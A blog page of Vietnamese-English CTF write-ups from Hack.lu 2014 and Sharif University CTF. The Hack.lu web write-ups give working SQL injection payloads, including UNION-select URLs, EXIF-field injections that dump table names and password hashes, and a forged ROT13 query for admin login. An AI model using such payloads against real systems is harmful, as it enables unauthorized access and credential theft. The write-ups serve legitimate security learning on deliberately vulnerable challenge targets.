BYTE

Write_up CTF by BYTE

Test gist

Published by byte.kve under on 10:27

[CTF Writeup]Hacklu CTF 2014 | Killy The Bit Web 200

Published by byte.kve under on 05:24
Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.

Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?
Chúng ta có một file sources index.phps
Backup: http://pastie.org/9669992
Đầu tiên thì phải nói là bài này khiến mình mất khá nhiều thời gian, dẫu biết là sqli ở name, nhưng vẫn không có thể tìm ra flag một cách nhanh chóng. Và trong 30 phút còn lại của buổi học, cũng như contest này, Lan đã gặp Điệp.

$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

    if(mysql_fetch_object($res)) {       
        // Generation of new password
        //<topsecure content>
        // this was filtered during the creation of the phps file
        //</topsecure content>
        die("A new password was generated and sent to your email address!");
 Hmm, đầu tiên thì mình nghĩ đến việc rằng sẽ sử dụng blind ở đây, vì theo mình nghĩ thực chất sẽ không có một đoạn code nào generate new password cả, vì mình đoán chắc chắn flag sẽ nằm ở đây ( và sau khi hint, số phần trăm đã tăng lên 110% :)) ). Cộng với việc có một comment khá thú vị ở đây:
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name']))
càng làm mình có ý nghĩ blind sqli để ra kết quả, nhưng nghe có vẻ hơi khoai :'( flag chắc chắn sẽ đâu có ngắn.
Cũng may thì đến đây BTC lại ra thêm 1 hint mới là "Blind SQLi is not a good solution. You can get the correct and complete flag with one single request".(__ __!!) ok, single request, và để ý lại đoạn code, chúng ta có gì nào:
Nếu các bạn tinh ý hơn ngay từ đâu, chúng ta có thể nhận ra rằng có thể thực hiện một câu lệnh sqli đơn giản vào $_GET['name'] với một giá trị được xem là "look like".
while($row = mysql_fetch_object($res)) {
           echo $row->name;
           echo "<br>";
Ngay và luôn, mình thử query:
https://wildwildweb.fluxfingers.net:1424/?name=adm' union select concat(user(),0x7c,database(),0x7c,version()),2 limit 1,1-- -&submit=Generate#
và:
We couldn't find your username, but it sounds like this user:
ctf-level@localhost|ctf-level|5.5.40-0ubuntu0.14.04.1
So simple!
 https://wildwildweb.fluxfingers.net:1424/?name=adm' union select passwd,2 from user where id=1 limit 1,1-- -&submit=Generate#
Flag:
We couldn't find your username, but it sounds like this user:
flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}

[CTF Writeup]Hacklu CTF 2014 | ImageUpload Web200

Published by byte.kve under on 04:29
In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help.
Upload pictures of criminals to this site and help the sheriff to arrest them.
You can make this Wild Wild Web much less wild!!!

Pictures will be deleted on regular basis!
https://wildwildweb.fluxfingers.net:1421/

Đầu tiên mình thử upload một bức ảnh huyền thoại của windows 7

Phải nói là đầu tiên nhìn vào đây mình cũng chưa nhận ra điều gì, vì còn phần Login ở trên nữa, mình đã cố gắng thử sqli xem nhưng không thành công ( mặc dù đã đọc đề bài rồi mà vẫn.. __ __!!)

Tiếp tục nào, mình đã cố gắng upload shell, nhưng cuối cùng cũng uất ức tuyệt vọng nỗi đau tràn trề. Nản rồi, lại đá đi đá lại mấy bài web, có ý tưởng trong đầu mà không giải quyết được, và rồi 1 lần lão enter dạo bước trên irc chat thì nhận thấy một hint là hãy tập trung vào exif. OK, nhìn lại xem nào, và nhận ra 1 điều giống như mình vừa ở trên trời rơi  xuống vậy. Để ý các field Width, Height, Author, Manufacturer và Model, nghĩ ngay tới cái hint vừa rồi. Như vậy, ý tưởng của chúng ta sẽ là inject bằng exif data của bức ảnh.
Ở đây mình sử dụng Windows luôn ( Right click -> Properties -> Details -> Author field), không hiểu sao mình viết query vào ảnh bằng exiftool nhưng lại không được :'(
Trước hết chúng ta sẽ tưởng tượng, một INSERT statement có thể sẽ giống như:
INSERT INTO 'table_name'('width','height','author','manufacturer','model')
    VALUES ('width_value','height_value','author_value','manufacturer_value','model_value')
Và giá trị của các column width và height sẽ là integer nên ý tưởng sẽ là inject vào các coulmn còn lại:
 kve',(select version()),'byte.team')#;
và:

I got it!
 kve',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'byte.team')#;
 

  kve',(select group_concat(name,0x7c,password) from users where id=1),'byte.team')#;
 Login vào lấy flag trong khi giáo viên đan giảng bài môn SQL :v
You are sucessfully logged in.
Flag: flag{1_5h07_7h3_5h3r1ff}
Còn 30 phút để có thể nâng cao điểm số, và mục tiêu là Killy the Bits.

[CTF Writeup]Hacklu CTF 2014 | Encrypted Web 50

Published by byte.kve under on 02:56
Legend says there is a bank vault in Jamestown which cannot be broken into. The only way inside is through an authentication process. Even Jesse James and his companions failed to break the security of this particular bank. Can you do it? https://wildwildweb.fluxfingers.net:1411
Có một form login cho chúng ta, tất nhiên trong đầu vẫn là sqli rồi:

Thử login nhé:

Với kinh nguyệt, à nhầm chút kinh nghiệm nhỏ bé của mình thì vẫn có thể thấy rõ ràng một sql query đã rot, như 1 thói quen, ROT13 nhé:
https://wildwildweb.fluxfingers.net:1411/dologin.php
?dhrel=SELECT+`name`+FROM+`users`+WHERE+`name`+=+'test'+AND+`password`+=+MD5('test')
LOL
Nhìn vào chúng ta có thể thấy rõ ràng không có ràng buộc nào ở đây với password=md5('<name>'), thử query lại nhé ( ROT trước rồi mới exec nhé :D)

Encrypted Login

bad password
Thử lại với name = admin:

Encrypted Login

Hello admin! The flag is flag{nobody_needs_server_side_validation}.
 Great, that's work! Submit và nhận về 50points nhỏ nhoi :)

[WriteUp] Sharif University CTF | Crypt 40 - Sudoku image encryption

Published by byte.kve under on 20:04
 ----------------
Row Major Order 

https://www.mediafire.com/?9ldcd50408gqpm5
-----------------

we have 2 picture:
(có 2 hình ảnh)

once is map picture, twice is sudoku game
This map is clutter, so I think we should complete sudoku game to complete the map, We need 2 picture has the same size so I resize sudoku picture. I join 2 picture, this result:
(1 hình bản đồ bị xáo trộn và một hình game sudoku, chắc các bạn cũng nghĩ ngay đến việc chơi sudoku và ghép 2 hình lại để sắp xếp lại bản đồ, mình làm như vậy và đc kết quả như sau)
 
But is too hard to order so I use jquery to make mini game with this image ^^! 
(Nếu để như thế này mà xếp bằng paint hoặc photoshop thì ko biết đến bao giờ mới xong, nên mình tạo một game bằng jquery để thư giãn ^^!, download ở link dưới nhé! )
You can download here: 

http://www.mediafire.com/download/e6ds0dtkfbmckj6/xephinh.zip

when complete this game, we get result:

read flag follow red line ^^! (chỉ cần chơi 1 nửa là tìm đc flag rồi, nhớ đọc flag theo đường kẻ đỏ nha ^^)

Flag is: d41d8cd98f00b204e9800998ecf8427e3

[WriteUp] Sharif University CTF | For40 - Recover deleted file

Published by byte.kve under on 19:30
-------------
Recover the disk and find the flag. 
Download File:
https://www.mediafire.com/?tz0gbwyi15j5lfe
------------- 

I using Hex Editor to open file and export to .txt file then I search with keyword: 'flags'
Found this:
(Đầu tiên mình thử tìm với từ khóa flag thì thấy cái này)
But it's not flag! I scroll to find another and I found .ELF. 
(Nhưng sau đấy là một chuỗi loằng ngoằng nên mình nghĩ ngay đến đây là một chương trình,Tiếp tục tìm để xem nó là file gì thì mình thấy cái này: 'ELF' -> đây là file thực thi trên linux)

I think this file is ELF but It's has been fixed, I try to convert it to ELF file by delete all row appear before '.ELF'. like this:
(Nhưng ELF lại ko nằm ở đầu nên mình nghĩ nó đã bị sửa, mình xóa tất cả những thứ đứng trước ELF đi để tạo ra file đúng định dạng như thế này)
Save it and excute on linux system with command: './disk-image', we have result:
(Sau đó lưu lại và chạy trên linux với câu lệnh : './disk-image' thì được kết quả như sau:) 
flag is: de6838252f95d3b9e803b28df33b4baa



[WriteUp] Sharif University CTF | Steg20 - What is This

Published by byte.kve under on 19:05



Ở challenge này chúng ta có 2 hình có cùng kích thước, mình nghĩ ngay đến việc ghép chồng 2 hình lên nhau, cho 1 hình nằm trên trong suốt và đây là kết quả!

(In this chanllenge we have 2 pictures of the same size, I think of the two lapped over each image, the first image is located on over and here are the results!)






Flag is: AZADI TOWER